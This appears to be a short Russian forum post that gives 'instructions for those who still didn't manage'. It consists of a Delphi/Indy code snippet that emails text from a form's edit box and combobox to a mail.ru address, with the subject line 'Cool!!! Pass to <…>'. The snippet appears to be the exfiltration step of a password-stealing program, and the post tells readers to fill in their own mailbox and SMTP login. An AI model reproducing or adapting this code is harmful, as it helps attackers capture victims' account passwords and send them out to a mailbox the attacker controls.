Инструкция для тех, кто так и не справился:
M.From.Text := 'mail_1@mail.ru'; //мыло
M.Recipients.Add;
M.Recipients.Items[0].Text := 'mail_1@mail.ru'; //мыло получателя
M.Subject := 'Cool!!! Pass to <'+edit1.Text+combobox1.Text+'>';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host := 'smtp.mail.ru';
IdSMTP1.Username := 'mail_1'; //логин (login@mail.ru)
IdSMTP1.Password := 'password'; // пароль
Все подписанные поля надо править